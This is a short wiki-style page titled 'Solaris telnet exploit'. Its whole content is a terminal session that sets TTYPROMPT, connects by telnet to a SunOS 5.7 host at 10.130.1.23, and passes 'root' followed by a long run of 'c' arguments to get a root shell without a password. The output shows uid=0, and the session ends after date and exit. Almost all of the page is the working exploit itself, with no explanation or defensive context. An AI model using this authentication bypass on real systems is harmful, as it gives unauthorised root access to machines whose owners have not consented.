====== Solaris telnet exploit ======

<verbatim class="terminal">
~# telnet
telnet> environ define TTYPROMPT abcdef
telnet> o 10.130.1.23
Trying 10.130.1.23...
Connected to 10.130.1.23.
Escape character is '^]'.


SunOS 5.7

root c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c\n
Last login: Mon Aug  1 09:36:04 from 10.135.34.56
Sun Microsystems Inc.   SunOS 5.7       Generic October 1998
root@uiiclac1:/>id
uid=0(root) gid=1(other)
root@uiiclac1:/>date
Tue Sep 27 15:07:37 MET DST 2011
root@uiiclac1:/>exit
Connection closed by foreign host.
</code>